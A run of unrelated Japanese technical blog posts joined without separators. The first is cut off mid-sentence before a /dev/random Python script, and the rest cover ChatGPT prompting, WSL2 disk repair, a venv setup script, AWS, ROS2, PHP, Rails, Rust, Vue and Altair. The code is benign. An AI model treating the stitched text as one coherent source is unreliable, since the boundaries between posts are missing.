①情報理論で定量的に定義した「情報量」。
②ただ単に１ビットの情報が何桁並んでいるかを表した「情報量」。
です。単位は[bit]です。

```3.py
#!/usr/bin/python3
import os
import binascii

def main():
    f=open("/dev/random",'rb') # /dev/randomを開く
    s=""
    cnt=0
    while(1):
        randomdata=f.read(1) # 1バイトの真性乱数を読み出し

        randomhex=binascii.hexlify(randomdata) #１６進の文字列に変換
        randomint=int(randomhex,16) # 整数に変換
        i='0123456789'
        n=int(randomint/256*len(i))
        s=s+i[n]
        if len(s)>3:
            s=s[1:]
        cnt=cnt+1
        if len(s)>=3:
            print(cnt,s)
    f.close() # /dev/randomを閉じる
    return

if __name__=='__main__':
	main()
	exit(0)
```
生成AIでシステムを作成してみよう！　1回目

## はじめに
Qiita初投稿になります。
今後生成AIが仕事のサポートしていくということで生成AIの学習とやってみたこととそこから学んだコツを共有していきます。
学習中の内容な為、間違いがあると思いますが寛容な心で指摘していただけるとありがたいです。
また、いろいろな方のご意見を聞きたいため、よろしければ記事の感想などをいただけるとありがたいです。
こちらの学習で行うことは生成AIを使用して企画書・要件定義・基本設計・詳細設計・プログラミング・テスト・環境作成 等をやっていきます。
使用予定のツール言語は以下の通りです。
・ChatGPT 3.5
・Github Copilot
・node.js
・javascript

## 本日の内容
企画書の作成
（所要時間10分ぐらい）

## 資料
今回の出力データが長いため、githubに出力結果を入れています。
https://github.com/progfreesei/Qiita/tree/main/%E7%94%9F%E6%88%90AI%E3%81%A7%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E3%82%92%E4%BD%9C%E6%88%90%E3%81%97%E3%81%A6%E3%81%BF%E3%82%88%E3%81%86%EF%BC%81/%E7%AC%AC1%E5%9B%9E

## やったこと
まず本日の内容をやっていくにあたってあまりマーケティング、営業の経験がないのがとても問題、、、、
どうやればいいんだと最初から挫折していましたが、まあやってみるかとChatGPTにて新しいチャットを開いていきました。

とりあえず、細かい企画はわからないので日本でとても有名なノーコード/ローコードツールを作成している〇intoneを作成の目的にしてみました。

まず大切なのはchatGPTのペルソナを定義してあげること！
何が良いかなやみました。
・天才的な営業者
・世界一のマーケター
・唯一無二のイノベーター（笑）
等

結果「熟練のシステムエンジニア」が抜擢されました。
ちなみにここは好みとセンスが光る場所かもしれません。
私のセンスは、、、

気を取り直して次へ
次はシステム内容です。
ここは詳細に書けば書くほどよくなるらしい
ただ今回はどうすればいいのかわからなかったのでいったん「kintoneのようなノーコードのシステムを作成したいです。」と入力しました。

最後に何をしたいのかを記載します。
「そのシステムを作成するための企画書を作成したいです。」

最終的に入力したプロンプトは以下の通りです。
ちなみに、ペルソナと指示の間を1行開けているのもポイントです。
そうすることでペルソナの定義と指示の定義が別なことがChatGPTに伝わります。

```
あなたは熟練のシステムエンジニアです。

kintoneのようなノーコードのシステムを作成したいです。
そのシステムを作成するための企画書を作成したいです。
```

その結果は結構しっかりした結果が返ってきました。
戻ってきたデータが長いので記載はしませんが、読んだ感じいいものができていそうな感じがします。
多分ChatGPT3.5がkintoneを結構学習していたのでこの短い文言でもよいものができた可能性が高いと思っています。

## 学んだこと
まず大切なのはchatGPTのペルソナを定義してあげること
複数の内容がある場合は1行以上のスペースを空けること
今回は行っていないが、###指示###みたいな記載方法でも分けられるみたいですね。

## まとめ
短い文言だったが、適切な例があるとよいものができると感じた。
また、企画するシステムの内容をどう記載するか今回は行っていないが、
実務ではとても大切に記載する必要があると思った。
【未解決】WSL2のディストリビューションが読み込み専用になっちゃった

## PCを再起動したら、「An error occurred mounting the distribution disk, it was mounted read-only as a fallback.」

私は普段PC起動時にWSL2でUbuntu22.04のディストリビューションを起動するようにしています。ある日PCを再起動すると
```powershell
An error occurred mounting the distribution disk, it was mounted read-only as a fallback.
```
というメッセージが表示され、ファイル編集などができない状態に。
https://learn.microsoft.com/en-us/windows/wsl/disk-space#how-to-repair-a-vhd-mounting-error
へのリンクが貼られていたので、手順に従って解決しようとしたが、どうにもできない。

## 躓いたところ

### wsl.exe sudo e2fsck -f /dev/sdx が実行できない。

これは直前に
```powershell
wsl.exe --mount path/to/ext4.vhdx --vhd --bare
```
を実行していることが関係している。修復の手続きの流れは1. 問題のディストリビューションをデフォルトのディストリビューションにマウントし、2. e2fsckコマンドでチェック＆修復する。デフォルトのディストリビューションが問題のディストリビューションだと自分自身をマウントすることになるのでうまくいかない。そこで一度別のディストリビューションをインストールすることで解決できる。

## 現状と今後

URLに従ったが依然として書き込めないまま。いったいどうして。。。

現状は一旦デフォルトのディストリビューションにマウント＆修復した後、このディストリビューションを通じてアクセスすることで対応している。

一度エクスポートしてもう一度インポートしたら直るかなぁ？
shellscriptでvenv仮想環境構築

# 始めに
半年前にプログラマー転職した者です。
備忘録を残す、初心者が読んでも理解出来る文章を書く練習、個人的に有益そうな情報を残す事を目的に記事作成をしております。間違いや改善出来る事があれば教えて頂ければと思います🙇‍♂️

# 開発の背景と目的
私はPythonを使用する機会が多く、ふいにこう書いたらどうなるんだっけ？となる事があり、都度ググりながらvenv環境構築⇒パッケージインストール⇒サーバ立ち上げする作業をしていました。初めはこれも学習だ～と思いつつ作業していましたが、環境構築の理解が進むに連れてめんどくささを感じて自動化しようと考えました。また、最近シェルスクリプトに触れておりコマンド叩くルーチン作業なら実現出来るかもと思い簡単なツールですが開発してみる事にしました。

# 機能（実現したい要件）
- コマンドは最低限のみたたく
- Django rest framework 又は fastapi、フレームワーク無しの環境構築出来る
- オプションでサーバ立ち上げ出来る　※追加でパッケージインストールしたい場合がある

# コード
```shell:setup.sh
#!/bin/bash

# コマンド実行時に引数を3つ持つのでチェック
if [ -z "$2" ] || [ -z "$3" ]; then
	echo "error: missing input."
	echo "       good command -> sh ./setup.sh <virtual_env_name> <project_name> <application_name>"
	exit 1
 
# 実行時の引数に入力した仮想環境の重複チェック
elif [ -d ./created/"$1" ]; then
    echo " error: virtual_env_name alreadly exist."
	exit 1
fi

# フレームワークを選択するコードで1～3を入力して選択
echo ""
echo "----- SELECT FRAMEWORK -----"
select framework in "fastapi" "django" "no_framework"; do
    [ -n "$framework" ] && break
done

# サーバ立ち上げオプション
echo ""
echo "----- SERVER START ? -----"
select  server_start_flag in "YES" "NO"; do
    [ -n "$server_start_flag" ] && break
done

# 作業ディレクトリを作成して仮想環境を構築
echo "--- $framework setup start ---"
mkdir -p "created/$1" && cd "created/$1" || exit
python -m venv venv
mkdir "$2" && cd "../../"

# 仮想環境をアクティブ化してフレームワークに合うパッケージインストール開始
# サーバ立ち上げオプションに応じて実行
source ./created/$1/venv/Scripts/activate
if [ "$framework" = "django" ]; then
    cd ./created/"$1"/"$2" || exit
    pip install django djangorestframework
    django-admin startproject config .
    python manage.py startapp "$3"

elif [ "$framework" = "fastapi" ]; then
    cd ./created/"$1"/"$2" || exit
    pip install fastapi "uvicorn[standard]"
    touch main.py
fi

if [ "$server_start_flag" = "YES" ]; then

    if [ "$framework" = "django" ]; then
        python manage.py runserver

    elif [ "$framework" = "fastapi" ]; then
        uvicorn main:app --reload
    fi
fi
```
# 使い方
1\. ファイル実行時に3つの引数を入力します。
```
$ sh ./setup.sh <virtual_env_name> <project_name> <application_name>"
```
2\. フレームワーク選択
該当の番号を入力してください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3202621/fd15683b-8aa6-c465-9041-5678b69d3bec.png)

3\. 環境構築後サーバ立ち上げオプション
該当の番号を入力してください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3202621/6319aaa9-ae9f-8585-7350-d391d799c420.png)

:::note warn
前提条件：　pythonのインストールをしてください。
:::

# 今後の改善
- VScodeの立ち上げサポート
- フレームワーク追加
- フレームワーク毎に公式ドキュメントに書かれているようなテンプレート（とりま動かす最低限くらい）のコード書き込み
- ユーザビリティ向上の為インターフェース考える
⇒デスクトップアプリで操作できるなら作ってみたい

# 最後に
もともとIT業界とは異なるお仕事でめんどくさいと思う事はあったけど改善してきませんでした。しかし、ちょっとググれば同じような事で困っている人や改善した人が見つかります。今何かで困っている事があればまずは少し調べてみる事は大事じゃないかな～と思う今日この頃です。出来る出来ないは置いて改善する為の方法が分かれば職場で共有して解決出来るかもしれません。と過去の自分に言い聞かせておきます。
最後まで読んで頂いた方ありがとうございました。
AWS EC2入門：簡潔に理解するクラウドコンピューティングの基礎


# Amazon EC2とは　:beginner:
Amazon EC2（Amazon Elastic Compute Cloud）は、AWSが提供する仮想サーバーを提供するサービスです。物理サーバーの購入や環境構築の手間なく、必要なスペックのサーバーを迅速に利用開始できます。

<img width="30%" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3690843/3e034c3c-f7a9-a8ad-f32f-d7d2af6542dd.jpeg">

### Amazon EC2の特徴
インスタンスタイプの多様性: CPU、メモリ、ストレージの組み合わせを多数用意。用途に応じて最適なインスタンスを選択可能。
セキュリティグループ: 仮想ファイアウォールを提供し、インスタンスへのアクセスを制御。
弾力性: 需要に応じてリソースを自動でスケールアップ・ダウン。
料金体系: 従量課金制で、使用した分だけの料金を支払う。
### 利点と制約
メリット: サーバーの迅速なデプロイメント、柔軟なスペック変更、従量課金制によるコスト削減が可能。
デメリット: 設定の複雑さや、未使用リソースに対する課金が発生する可能性がある。
開発者へのメリット
Amazon EC2を使用することで、開発者はインフラ管理の手間を大幅に削減し、開発に専念できます。また、グローバルに分散されたAWSのデータセンターを利用できるため、アプリケーションのパフォーマンスと可用性を向上させることができます。

### インスタンスの起動方法
Amazon EC2インスタンスは、AWSマネージメントコンソール、AWS CLI、またはAWS SDKを使用して起動できます。起動時にはAMI（Amazon Machine Image）を選択し、適切なインスタンスタイプ、セキュリティグループを設定します。

### AMIとインスタンスタイプ
AMI: OSやプリインストールされたアプリケーションを含むイメージ。カスタムAMIを作成し、再利用することも可能。
インスタンスタイプ: アプリケーションの要件に合わせて選択。汎用、コンピューティング最適化、メモリ最適化などがある。
IPアドレスとインスタンス購入オプション
IPアドレス: EC2インスタンスにはパブリックIPアドレス、Elastic IPアドレス、プライベートIPアドレスが割り当てられる。
インスタンス購入オプション: オンデマンドインスタンス、リザーブドインスタンス、スポットインスタンスなど、用途やコストに応じた購入オプションを選択可能。

## 【まとめ】
Amazon EC2は、その柔軟性、スケーラビリティ、およびコスト効率により、クラウドコンピューティングの世界で中核的な役割を果たしています。開発者はEC2を利用することで、インフラストラクチャの運用管理にかかる時間とコストを大幅に削減し、ビジネス価値の高いアプリケーション開発により多くの時間を割くことができます。

### 最後に
何か間違いがございましたらご指摘お願いいたします。
閲覧いただきありがとうございました。

## 【参考】
https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/concepts.html
AWS Configの料金がなんか思ったより高かったので見直してみた

## はじめに

久しぶりに個人の勉強用AWS環境を触ってみたら、思ったよりとConfigの料金がかかっていた。

思わず呟いた先月の投稿がこちら

https://x.com/hirobel/status/1753698842086879661?s=20

なので、状況の確認ともうちょっと安くする方法を整理してみた。

## まとめ

- Configの料金が「継続的な記録」になっている
- Terraformなどで大量のリソースを一気に変更する作業をする

私と似たような使い方の方はもうちょっと安くできそう

## やってみたこと

### AWS Configってどんなの？を整理

そもそもAWS Configというのはどんなサービスで、どこに課金が発生するのかと、自分の用途としては異常な状況ではないかどうかを確認してみた。

### AWS Configでできること

ざっくり言えば、AWSのサービス変更を追跡して、条件をセットして通知などをできるようにするサービス

### どこにお金がかかる？

ここにお金がかかる。

- 変更の記録
- ルールの評価実施
- その他（スナップショットのS3保存など）

情報元はこちら：https://aws.amazon.com/jp/config/pricing/

### 現状分析

料金表に照らし合わせてみると、例えばこんな使い方なら合計0.93USD(約139円)。

- 1日10つくらい設定変更する
    - 10項目/Day x 30Day x 0.003USD= 0.90USD
- 1日一回ルールの評価をする
    - 30Day x 0.001USD = 0.03USD

で、実際は2024/1月の月額は19USDいってたので、上の10倍以上のことをしてたんじゃないかと思われた。

また、1月だけちょっとやらかしたんじゃないの？と思って他の月もみてみたら、そうだった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/146594/040984c5-455c-ceff-fc0c-2e66f34eb5db.png)

てことで結論、1月になんか起きてたっぽい

### 1月何してたっけ？

よく思い出したら、このへんでTerraformを利用した副業をしてました。

で、ちょっと勉強に自分のアカウント使って色々やってたんですよね。

Terraformってめちゃめちゃ変更を発生させるわけで、そりゃConfigの料金あがりますよね。

### 設定の状況

都度記録する方式になってた。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/146594/e8e9208e-6fb1-f2d0-07b2-487d64c38f81.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/146594/769e899b-550d-1f13-9885-b53fcff42109.png)

### やさしい人

みのるんさんがすかさずコメントくれたんだけど、完全にそこでした。あざます。

https://x.com/minorun365/status/1753703617603989746?s=20

### 是正

ということで原因がAWS Configの設定であることがわかりました。

その上で、私の使い方の場合、継続的ではなく日次での記録が適切であることがわかりました。

ということで、マネコンでポチポチやってしまいます。

記録戦略を日次にします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/146594/1ac3fd86-299f-4199-b7f1-2b42fbf03866.png)

それから、ここは使い方によりますが、一旦自分は最低限不正アクセスの検知ができればよいので、記録対象も削ってしまいます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/146594/73c7310d-d5b4-005f-7ac7-798088b553e5.png)


### 検証

さて、しばらく立ちましたが、1月に引き続き結構Terraform applyをしてた私のアカウントがどうなったか見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/146594/1c2cbc2f-aef3-df38-08a2-4275b9be61cf.png)

無事下がってました！

設定ミスに気づいて2/23に設定し直すまでお金かかってたけど・・

## 最後に

たまにコストチェックしましょう。

AWSで1ドル、10ドルでどんなことができるか、という肌感を鍛えていきましょう。

## 参考

- 料金 - AWS Config | AWS https://aws.amazon.com/jp/config/pricing/
【ROS2 colcon test Tips】colcon test (ament_cmake)のコードスタイルチェックを部分的に無視する方法

# はじめに
## 背景
　colcon testで、コードスタイルチェック(amment_lint_auto)を入れると、コピーライトのチェックなども自動で入ってしまい、テストが失敗してしまうことがあった。
## 目的
　コードスタイルチェックを入れたいが、コピーライトなど不要なものは無視できるようにする。

# 動作確認環境

* ROS2 Foxy

# 方法

```colcon test```については、以下の記事を参照。

https://qiita.com/srs/items/4e5cf7bed54ffba1fec0

無視したい項目をCMakeListsに、```set(ament_cmake_XXXX_FOUND TRUE)```追加する。
* 「XXXX」は無視したい項目が入る。


| オプション                            | 説明                             | 
| ------------------------------------- | -------------------------------|
| set(ament_cmake_copyright_FOUND TRUE) | コピーライトチェック無効         　|
| set(ament_cmake_cppcheck_FOUND TRUE)   | C++ コードチェック(cppcheck)無効 　|
| set(ament_cmake_cpplint_FOUND TRUE)   | C++ コードチェック(cpplint)無効 　|
| set(ament_cmake_flake8_FOUND TRUE)    | Pythonコードチェック(flake8)無効 |
| set(ament_cmake_lint_cmake_FOUND TRUE)    | CMakeコードチェック無効 |
| set(ament_cmake_pep257_FOUND TRUE)    | Pythonコードチェック(pep27)無効 |
| set(ament_cmake_uncrustify_FOUND TRUE)    | コードチェック(uncrustify)無効 |
| set(ament_cmake_xmllint_FOUND TRUE)    | コードチェック(xmllint)無効 |



CMakeListsの例（コピーライトチェックとPythonコードチェック(flake8)を無効にする場合)
```cpp
if(BUILD_TESTING)
  find_package(ament_lint_auto REQUIRED)
  set(ament_cmake_copyright_FOUND TRUE)
  set(ament_cmake_flake8_FOUND TRUE)
  ament_lint_auto_find_test_dependencies()
endif()
```


# 参考

https://qiita.com/srs/items/4e5cf7bed54ffba1fec0

https://github.com/ros-planning/stomp_moveit/blob/main/CMakeLists.txt#L71-L75
PHP(7.1.33) 学習 備忘録 - isset, is_null, empty

とある案件でPHPを触れて、学んだことを書いておく。

# 変数チェック

変数を宣言・定義しているか、NULLかなどをTRUE,FALSEで返してくれる関数を調べたのでまとめておきます。

PHPの前提として、NULLと変数宣言をしただけのものは基本的に同じです。

```php
$defNull = NULL;
$defOnly;
```

## is_null

https://www.php.net/manual/ja/function.is-null.php

:::note info
`is_int`や`is_string`など型ごとにチェックする関数があります。
:::

- 変数が宣言されていない
- NULLで定義されている

ならば、`True`が返ってきます。

```mermaid
flowchart LR
s([Start]) 
t([True])
f([False])
d+nn{未宣言
OR
NULL}
s --> d+nn -->|Yes| t
d+nn -->|No| f
```

ただし、未宣言の場合はおそらく*Notice*が出てくると思います。

## isset

https://www.php.net/manual/ja/function.isset.php

- 変数が宣言されている
- NULLで定義されていない

ならば、`True`が返ってきます。
数値0か空（空文字列、空配列）でも定義しておけば`True`になります。

```mermaid
flowchart LR
s([Start]) 
t([True])
f([False])
d&nn{宣言済
AND
非NULL}
s --> d&nn -->|Yes| t
d&nn -->|No| f
```

## empty

https://www.php.net/manual/ja/function.empty.php

- 数値0
- 変数が空（空文字列、空配列）
- NULL
- 文字列"0"
- 未定義

ならば、`True`が返ってきます。
文字列でも0だけだと数値同様`True`が返ってくることに注意が必要です。
`True`の条件が多いため、覚えやすそうな`False`になる条件をまとめておきます。

- 数値0以外
- 文字列""と"0"以外
- 配列の空以外

```mermaid
flowchart LR
s([Start]) 
t([True])
f([False])
i+c+a{数値 0 以外
OR
文字列 空or0 以外
OR
配列の空 以外}
s --> i+c+a -->|Yes| f
i+c+a -->|No| t
```

# おまけ 変数をbooleanにcastする

### (bool)$var

```php
<?php
var_dump((bool)1); // bool(true)
var_dump((bool)0); // bool(false)
var_dump((bool)""); // bool(false)
var_dump((bool)"0"); // bool(false)
var_dump((bool)"ABC"); // bool(true)
?>
```

## boolval($var)

```php
<?php
var_dump(boolval(1)); // bool(true)
var_dump(boolval(0)); // bool(false)
var_dump(boolval("")); // bool(false)
var_dump(boolval("0")); // bool(false)
var_dump(boolval("ABC")); // bool(true)
```

# メモ

## ブラウザでの実行環境

コードを試したい場合は使ってください。バージョンを指定できるのでバージョンによって動かないものを確認できます。

[3v4l(v7.1.33)](https://3v4l.org/#v7.1.33)
【JavaScript】オブジェクトのキーをcamelCaseからsnake_caseに変換する方法

## `snakecase-keys`をインストールする

以下のコマンドを実行して`snakecase-keys`をインストールします。

```terminal
yarn add snakecase-keys
```

https://github.com/bendrucker/snakecase-keys

## オブジェクトのキーを変換する

以下のようにオブジェクトのキーを`camelCase`から`snake_case`に変換できます。

```js
import snakecaseKeys from 'snakecase-keys'

const obj = {
  sampleKey: 'sample',
  testKey: 'test',
  exampleKey: 'example',
}

const snakecaseObj = snakecaseKeys(obj, { deep: false })
// {
//   sample_key: 'sample',
//   test_key: 'test',
//   example_key: 'example',
// }

```

オブジェクトのキーをcamelCaseに変換する[`camelcase-keys`](https://github.com/sindresorhus/camelcase-keys)とは異なり、`deep`のデフォルト値が`true`になっています。
そのため、ファイルをアップロードする場合などには`{deep: false}`とするか、`shouldRecurse`を使用してファイルオブジェクトを除外する必要があります。

https://github.com/bendrucker/snakecase-keys/issues/71
【Rails】find_eachで大量データを扱う

# この記事で言いたいこと
大量データのループ処理を扱う際には`find_each`がメモリ節約に有効である。

# きっかけ
先日、Ruby on Railsで大量データを扱う機会がありました。
その際`find_each`というメソッドがあることを学んだので、`each`との違いを明らかにしながらまとめていこうと思います。

# eachを用いた例
`Student`というモデルがあると仮定します。
studentsテーブルにある生徒の名前（nameカラム）を全員分出力したい場合、皆さんはどのようなコードを書きますか？

```ruby
Student.all.each do |student|
    puts student.name
end
```

上記のように`Student.all`でレコードを全件取得してから`each`メソッドを使用することで、studentsテーブルにいるすべての生徒の名前を出力することができます。

レコード数が少ない場合は上記の例のように書くのがよいでしょう。
しかしレコードが大量にある場合は、上記のようにレコードを一気に取得する方法だとメモリを圧迫してしまいます。

ここで満を持して`find_each`の登場です。

# find_eachを使ってみる
`find_each`のメリットは「分割してレコードを取得できる」ことです。

以下に例を示します。

```ruby
Student.find_each(batch_size: 500) do |student|
    puts student.name
end
```

引数の`batch_size`は1回あたりに取得するレコード数を示しています（デフォルトでは1000件）。
はじめにレコードを500件取得してループ、また次の500件を取得してループ...といった様子です。
出力結果は前述の`each`を用いた例と全く同じです。

さらに理解を深めるため、両者で発行されるSQLを比較してみます。

# SQLの比較

## findの場合
```sql
SELECT * FROM students
```
`Student.all`を使用しているため、一気に全レコードを取得しています。

## find_eachの場合
```sql
-- 1回目
SELECT * FROM students ORDER BY student_id ASC LIMIT 500

-- 2回目（ループ処理後）
SELECT * FROM students WHERE student_id > 500 ORDER BY student_id ASC LIMIT 500

-- 3回目（ループ処理後）
SELECT * FROM students WHERE student_id > 1000 ORDER BY student_id ASC LIMIT 500

-- 以後同様に続く...
```
(`student_id`はstudentsの主キーです )

- 主キーでソートする
- 取得できるレコードの取得数の上限を`batch_size`個にする
- 2回目以降は`(主キー)>(前回取得したレコードのうち最大の主キー)`の条件を付与する

上記の仕組みによってレコードが分割して取得できていることがわかりました。

# まとめ・感想
冒頭でも述べたように、大量データを扱う際にはメモリに気を遣う必要があり`find_each`は有効な手段です。
今回紹介した以外にも`find_each`は取得したいレコードの始点・終点の主キーを指定できたり、降順に並べたりすることもできます。また、似たようなメソッドに`find_in_batches`というものもあります。
気になる方は是非調べてみてください！

# 参考
[Railsドキュメント(find_each)](https://railsdoc.com/page/find_each)
[Railsドキュメント(find_in_batches)](https://railsdoc.com/page/find_in_batches)
[Railsガイド]()
[Rust] Rustを触ってみての感想

# 概要
この記事では、PythonでPCツール等を作成していた人がRustを触ってみての感想を書いたものです。
まだまだRustを触ったばかりなので、間違ったことを言っているかもしれませんが、Rustを勉強しようと思っている人や僕と同じように勉強中の人に、Rustの初学者がどんなことを感じるのか？が伝わればいいと思います。

# なぜRustを勉強し始めたのか?
理由としてはいくつかあります。

* ### Rustに単純に興味があったから
Rustはメモリを安全に使用するために他の言語ではあまりみられない方法を採用していると聞いてその仕組みに興味を持ったからです。

* ### Pythonよりも圧倒的に実行速度が速いから
現在Pythonで作成しているツールの実行速度が遅くて時間がかかるというシチュエーションがあったため、Rustにしたら改善しないかと考えたからです。

* ### 学習コストが高いと言われているがどれくらい難しいのか知りたかったから
Rustは独特な言語形態を採用しているために学習コストが高いと言われているが実際どんなものなのか？というのが知りたかったからです。

# RustとPythonの比較
まずはRustの利点です。

* ### RustはPythonよりも実行速度が速い!!
当たり前ですが、インタプリタのPythonと比較すると、かなり速いように感じます。今度比較してみたいと思います。

* ### Rustのコンパイラが優秀
Rustのコンパイラはとても優秀です。Pythonはそもそもコンパイルしませんが、Rustではプログラム実行前に様々なバグを検知してくれるため、バグの発見がとてもしやすいです。
例えば、Pythonでは実行まで実際の変数の中身の型はわかりませんが、Rustは実行前にわかるので型に合っていない操作によってエラーになるこはありません。

# Rustの欠点
* ### "所有権"周りが難しい
Rustは型に厳格な言語なため、型に対してコンパイラがうるさいです。これがRustの利点ではあるのですが、Pythonを使っていると変数にはなんでも入るため、少し面倒に感じると思います。
さらに、所有権という独特な仕様(C++のスマートポインタも同じような仕様)があり、変数を扱うだけでも、Pythonなどと比較すると難しいです。

* ### エラーハンドリングが面倒
まだ勉強し始めたばかりというのもあると思いますが、エラーの処理が面倒に感じます。エラーが発生した時に、プログラムが強制終了しても良いなら難しいことはあまりありません。ただ、正しくエラーハンドリングしようとすると、エラーが発生する可能性のある場所にその都度エラー処理を書く必要があり、面倒です。(Pythonのtry構文のようなものがないため、エラーが発生する可能性のある個所にif文みたいのを毎回書く)

### 

# Rustは結局おすすめか？
結論として、Rustは**プログラム初心者**にはおすすめではありません!!
なぜなら、Rustの特徴である”所有権"周りの仕様がC++などのポインタや参照などを理解していないと難しいと思ったからです。プログラム初心者はPythonなどから入った方が、細かい制約などを気にすることなく、もっとプログラムの本質的な部分を学べると思います。
ただし、PythonやC++をある程度扱える人ならば、Rustは勉強する価値があると思います。その理由としては、CやC++と同等の速度を保ちながら、メモリ安全な言語はとても有用だと思うからです。他にも、Rustを学ぶ上で、メモリアクセス等の仕組みを知る必要があるため、他の言語への理解も深まると思います。

Rustは他の言語の中でも難しい部類に入ると思いますが、将来性がある言語だと思うので、これからも勉強していこうと思います。

この記事が誰かの参考になれば幸いです。
LlamaForTokenClassificationによる日本語品詞付与モデルSwallow-7b-plus-uposをリリース

[昨年のクリスマスイブに書いた](https://qiita.com/KoichiYasuoka/items/5021c0ade40e584f8bc7)LlamaForTokenClassificationを使って、[Swallow-7b-plus-upos](https://huggingface.co/KoichiYasuoka/Swallow-7b-plus-upos)という日本語品詞付与モデルを[作ってみた](https://huggingface.co/KoichiYasuoka/Swallow-7b-plus-upos/blob/main/maker.sh)。最初のアイデアを出してから3ヶ月もかかってしまった。結果として、NVIDIA A100-SXM4-40GBを8枚使えば、モデルの作成時間を1時間45分にまで短縮できるようになったが、予想に反して品詞付与の精度はイマイチだったりする。

```
>>> from transformers import pipeline
>>> tag=pipeline("upos","KoichiYasuoka/Swallow-7b-plus-upos",trust_remote_code=True)
>>> nlp=lambda x:[(x[t["start"]:t["end"]],t["entity"]) for t in tag(x)]
>>> print(nlp("予想に反して品詞付与の精度はイマイチ"))
[('予想', 'NOUN'), ('に', 'ADP'), ('反', 'B-VERB'), ('して', 'I-VERB'), ('品', 'VERB'), ('詞', 'NOUN'), ('付与', 'VERB'), ('の', 'ADP'), ('精度', 'NOUN'), ('は', 'ADP'), ('イマイチ', 'ADJ')]
```

「反」「して」がツライ。せめて「反」「し」「て」とトークナイズした上で

> [('予想', 'NOUN'), ('に', 'ADP'), ('反', 'B-VERB'), ('し', 'I-VERB'), ('て', 'SCONJ'), ('品', 'B-NOUN'), ('詞', 'I-NOUN'), ('付与', 'NOUN'), ('の', 'ADP'), ('精度', 'NOUN'), ('は', 'ADP'), ('イマイチ', 'ADV')]

と品詞付与できればいいのだけど。やっぱりLLaMAは、系列ラベリングに向いてないのかなぁ。
【Vue.js3】コンポーネントタグで自己閉じタグを利用すると２個目のコンポーネントが読み込まれない

# 事象
以下のように自己閉じタグで複数のコンポーネントを読み込む場合、
２個目以降のコンポーネントが読み込まれない事象が発生することがあります
（後続のタグを前の自己閉じタグの内容と誤解釈してしまう）。
```Vue
<test1-component /> <!-- 1つめのタグは読み込まれる -->
<test2-component /> <!-- 2つめ以降のタグは読み込まれない -->
<test3-component /> <!-- 読み込まれない -->
```
# 原因
Vueコンポーネントのタグは自己閉じタグが利用できる要素ではないため、
ブラウザが適切な解釈をしないことがあります。
※HTMLの基本として、自己閉じタグが利用できる要素は決まっています
（```<img />``` ```<br />``` ```<imput />```など）。
　これ以外の要素に対して自己閉じタグを利用すると、ブラウザは予期しない
　解釈をすることがあります。
※開始タグと終了タグの間に何も内容を持たないことから、
　自己閉じタグが利用できる要素は「空要素」と呼びます。

# 解決
そのため、明示的に終了タグを記述することが推奨されています。
 ```Vue
 <test1-component></test1-component>
 <test2-component></test2-component>
 <test3-component></test3-component>
 ```
 # 参考
 
 https://kikutaro777.hatenablog.com/entry/2018/03/14/215055
 
 https://stackoverflow.com/questions/42749179/show-two-components-in-vuejs-but-only-one-got-displayed-why
Jupyter Lab にVegaでグラフを表示する


Jupyter Lab でグラフといえばmatplotlibが有名ですが、Vega[^1] のグラフを表示したいと思います。
VegaがベースとなっているPythonライブラリの[Vega-Alatair](https://altair-viz.github.io/index.html)を使います。

## 前準備

必要なOSSをインストールしておきます。

```
pip install altair pandas
```

## グラフ表示

アルファベットと数字のデータを渡して、アルファベットごとの平均値をグラフ化します。
DataFrameを作り、`alt.Chart`に渡し、グラフの種類、Y軸、X軸設定をすることで簡単に描画できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/51316/92990ce1-d670-be15-dc1a-41d2f1596cc6.png)

<details><summary>コード</summary>

```python
import pandas as pd
import altair as alt
data = pd.DataFrame({'a': ['A', 'B', 'C','C','C','D','D','D','E','E','E','F', 'F'],
                     'b': [1, 3, 2, 7, 4, 1, 2, 6, 8, 4, 7, 2, 5]})

alt.Chart(data).mark_bar().encode(
    alt.Y('a').title('カテゴリ'),
    alt.X('average(b)').title('カテゴリごとの平均値')
)
```
</details>

matplotlibのように日本語フォント設定などをする必要はなく、日本語を含むグラフも簡単に表示できます。
ちなみに、ブラウザの開発者ツールで確認したところ、scriptタグが埋め込まれておりその中でvega に表示処理が記載されていました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/51316/bd8c12ba-2390-00f4-2492-60d629b0f804.png)


## その他

### グラフの保存

* `•••` からグラフをSVGやPNGに保存できます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/51316/d290e52a-294c-b54d-31a6-0dfbc900baa5.png)

* save関数使うことでhtml形式で保存できます

```python
chart = alt.Chart(data).mark_bar().encode(
    alt.Y('a').title('カテゴリ'),
    alt.X('average(b)').title('カテゴリごとの平均値')
)
chart.save('graph.html')
```

### vegaスペック

* to_dict()関数を使うことでvega-lite specを確認できます
```python
chart.to_dict()
==> 
{'config': {'view': {'continuousWidth': 300, 'continuousHeight': 300}},
 'data': {'name': 'data-ac98e885dff2f1803e10758db85208b7'},
 'mark': {'type': 'bar'},
 'encoding': {'x': {'aggregate': 'average',
   'field': 'b',
   'title': 'カテゴリごとの平均値',
   'type': 'quantitative'},
  'y': {'field': 'a', 'title': 'カテゴリ', 'type': 'nominal'}},
 '$schema': 'https://vega.github.io/schema/vega-lite/v5.16.3.json',
 'datasets': {'data-ac98e885dff2f1803e10758db85208b7': [{'a': 'A', 'b': 1},
   {'a': 'B', 'b': 3},
   {'a': 'C', 'b': 2},
   {'a': 'C', 'b': 7},
   {'a': 'C', 'b': 4},
   {'a': 'D', 'b': 1},
   {'a': 'D', 'b': 2},
   {'a': 'D', 'b': 6},
   {'a': 'E', 'b': 8},
   {'a': 'E', 'b': 4},
